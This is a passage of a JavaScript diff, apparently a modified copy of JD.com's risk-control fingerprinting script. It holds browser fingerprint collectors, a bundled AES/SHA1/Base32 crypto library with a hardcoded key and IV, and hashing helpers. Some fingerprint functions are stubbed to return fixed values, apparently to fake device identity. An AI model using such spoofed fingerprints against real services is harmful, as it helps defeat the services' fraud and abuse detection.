(32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 